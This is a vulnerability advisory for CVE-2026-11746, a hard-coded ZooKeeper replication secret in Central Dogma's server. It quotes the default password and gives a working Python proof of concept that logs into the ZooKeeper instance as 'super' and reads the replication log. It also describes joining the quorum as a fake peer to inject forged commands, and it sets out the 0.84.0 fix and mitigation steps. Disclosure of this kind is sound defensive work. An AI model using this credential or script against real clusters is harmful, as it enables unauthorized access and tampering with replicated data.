CVE-2026-11746: Central Dogma Hard-coded ZooKeeper Replication Secret Enables Cluster Takeover
Central Dogma silently falls back to a well-known hard-coded password when operators omit the ZooKeeper replication secret, letting any attacker with network access read the full replication log or…

The problem
In ZooKeeperReplicationConfig, the constant DEFAULT_SECRET = "ch4n63m3" is substituted whenever replication.secret is absent. The fallback is silent: no log line, no warning, no startup banner. The only guard (checkArgument(!secret().isEmpty())) passes because the getter injects the literal before the emptiness check runs.
The same secret wires into both the ZooKeeper client-port SASL context (user_super) and the inter-peer quorum/learner SASL contexts. One leaked password therefore authenticates against two surfaces. The constant is in public OSS source and findable via GitHub code search in seconds.
Proof of concept
A working proof-of-concept for CVE-2026-11746 in com.linecorp.centraldogma:centraldogma-server, with the exact payload below.
#!/usr/bin/env python3
# Authenticate to Central Dogma's embedded ZooKeeper as 'super'
# using the publicly known default secret (loopback, read-only).
from kazoo.client import KazooClient
zk = KazooClient(
hosts="127.0.0.1:2381",
sasl_options={
"mechanism": "DIGEST-MD5",
"username": "super",
"password": "ch4n63m3", # ZooKeeperReplicationConfig.DEFAULT_SECRET
},
read_only=True,
timeout=5.0,
)
zk.start(timeout=5)
logs = zk.get_children("/dogma/logs")
print(f"[+] Authenticated. /dogma/logs has {len(logs)} entries.")
for child in sorted(logs)[:5]:
data, stat = zk.get(f"/dogma/logs/{child}")
print(f" {child} ({stat.dataLength} bytes) {data[:80]}")
zk.stop()The root cause is CWE-798: a hard-coded credential ("ch4n63m3", leetspeak for "change me") used as the SASL DIGEST-MD5 password for the embedded ZooKeeper ensemble. Because firstNonNull(convertValue(secret, ...), DEFAULT_SECRET) substitutes the constant before any validation, the config object appears valid and the server starts normally.
The patch (0.84.0) removes DEFAULT_SECRET entirely and adds a fail-closed checkArgument in the constructor: startup aborts if replication.secret is null, empty, or equal to the legacy placeholder. The secret() getter now returns the already-validated field directly, with no fallback path.
Surface A (loopback client port, port 2381 by default) is the PoC above. Surface B (quorum/election ports bound to the configured replication.servers[].host) allows an attacker reachable on the inter-replica network to join the ZooKeeper quorum as a fake peer, receive all replicated commands in real time, and write forged LogMeta entries that ZooKeeperCommandExecutor.replayLogs() will execute on every legitimate replica.
The fix
Upgrade centraldogma-server to **0.84.0** or later. The release removes the DEFAULT_SECRET constant and fails closed at startup when replication.secret is missing or matches the placeholder. For existing deployments: set a strong, unique replication.secret (e.g., openssl rand -hex 32) in dogma.json on every replica before upgrading.
After upgrading, rotate the secret again to invalidate any window of exposure. If the cluster ran without a secret in production, audit all replication-log commands in the compromise window, paying special attention to ROTATE_SESSION_MASTER_KEY and REWRAP_ALL_KEYS.
Related research
- highCVE-2026-11745CVE-2026-11745: centraldogma-server-mirror-git SSH Host Key Verification Bypass
- highCVE-2026-55864CVE-2026-55864: GeoNetwork Unauthenticated SSRF in SLD Tool
- criticalCVE-2026-75595CVE-2026-75595: Netty SslClientHelloHandler SNI mTLS Bypass via Fragmented TLS ClientHello
- high · 7.5CVE-2026-63490CVE-2026-63490: handlebars-springmvc Arbitrary File Read via URL Fragment Suffix Bypass